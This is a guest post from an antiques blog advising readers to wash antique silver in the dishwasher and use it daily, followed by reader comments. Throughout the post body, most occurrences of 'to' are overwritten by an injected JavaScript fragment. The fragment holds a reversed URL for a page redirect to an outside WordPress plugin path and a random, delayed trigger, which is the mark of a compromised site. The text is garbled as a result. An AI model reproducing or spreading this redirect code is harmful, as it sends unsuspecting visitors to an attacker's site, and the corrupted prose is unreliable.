Guest Blog: Diva’s Don’t Do Dishes

Dear Diva Readers,

Today we’ve got the fabulous Nancy Stuckwisch of Silver Magpies joining us on The Antiques Diva® Blog and she is here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share some hints & tips on Silver! 

Silver Magpie’s Advice on Silver Reads:

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Divas don’t do dishes

Does it matter why divas don’t do dishes? Of course it does…it matters not because they are divas but because they possess a secret that the rest of us have been locked out of for far toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to long!

Dishing about silver’s secrets

That’s what dishwashers were invented for! Silver is much more durable than it’s given credit for. Every day my family uses 250 year old spoons. I guarantee that they have not been lovingly hand polished by a kid-glove wearing butler each time they have been used. For most of their long existence it’s more likely they’ve been dumped in a sink and left for the scullery maid toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to scrub.

In our house, once we are done using them, intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the dishwasher they go. And throughout all of this the silver has not been worn away or damaged. It doesn’t have a mirror bright finish, but that’s because it’s not meant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to!

John Bly author of Miller’s Silver and Sheffield Plate Marks laments overzealous polishing. One of the many charms of silver is it’s living finish, that lovely grey sheen – patina or skin – indicative of use. Collectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors prize patina.

Cleaning and polishing are distinctly different things

Let’s get this straight. Polishing should only be an occasional event. Tarnish builds up on silver as it reacts toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sulfur in the air. Regular use and handling ensure that tarnish never gets a chance toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to build up. It’s only once tarnish has had a couple of years toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get nice and dark that it is a real task toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to polish off.

Please believe me when I say polishing is not my idea of fun. I do so much of it when getting items prepared for sale the last thing I want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do is polish my own. But I do want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to use it…every day.

Cleaning is what you do after having used a fork at dinner time. There are a couple of common sense guidelines, but my favorite way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to clean silver” href=”http://www.silvermagpies.com/silver-information-library/how-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-clean-silver/” target=”_blank”>clean silver is in the dishwasher! Every so often (and we’re talking year long intervals here) I do give it a light going over. My particular preference is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to use a polish designed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be washed rather than buffed off.

Want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know the second secret of silver?

Life is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too short toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to save the silver for best…and who has time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to polish it when that occasion does finally roll around. Make every day best…a meal with your family is so much sweeter when it’s eaten with a fork from Grandma or that amazing spoon you fell in love with. Out of sight really is out of mind, so keep it in easy reach.

PS

It’s chic toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share a secret like this, because every diva knows, the more you use your silver, the less you polish it.

 
 

 

Silver Magpies

 

Nancy Stuckwisch of Silver Magpies has had a life-long fascination with vintage silver. She believes we should get the silver out of the cupboard, ontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the table, and then intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the dishwasher.

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Author: Toma Clark Haines

Toma Clark Haines is a Global Tastemaker, Speaker, Writer & Entrepreneur; and founder and CEO The Antiques Diva® & Co, Europe, Asia and America's largest Antiques Sourcing & Touring Company.

6 thoughts on “Guest Blog: Diva’s Don’t Do Dishes”

  1. Hi Parisbug –

    Your Grandmother is correct. It’s a little difficult to see, but there is a link in the post “clean silver in the dishwasher”. It takes you here –

    http://www.silvermagpies.com/silver-information-library/how-to-clean-silver/

    – this page has lots of information and a *downloadable PDF* with all the pertinent tips!

    Thanks for reading Parisbug. Were we introduced to each other by @WykehamGirl on Twitter? I must go and see :~)

  2. My Norwegian grandmother’s been doing that for years & I always loved it! But, her one rule was never to put stainless steel utensils in the basket with the silverware (it couldn’t touch) as that ‘stained’ (not exact translation)….& I’ve followed that rule myself…thoughts?? 🙂

  3. Toma – thank you again for posting this on your site. I’m very excited!

    And Karenna – yes, life is too short not to use our beautiful items. And we are so fortunate to have them, it seems such a shame to never use them.

    Nan

  4. Toma wonderful of you to feature Nancy and her valuable Silver tips! I can not only use my silver more often,; it can be tossed in the dishwasher!

    I am a believer of using the nice things that one owns! Life is too short!

    Xoxo

    Karena
    Art by Karena

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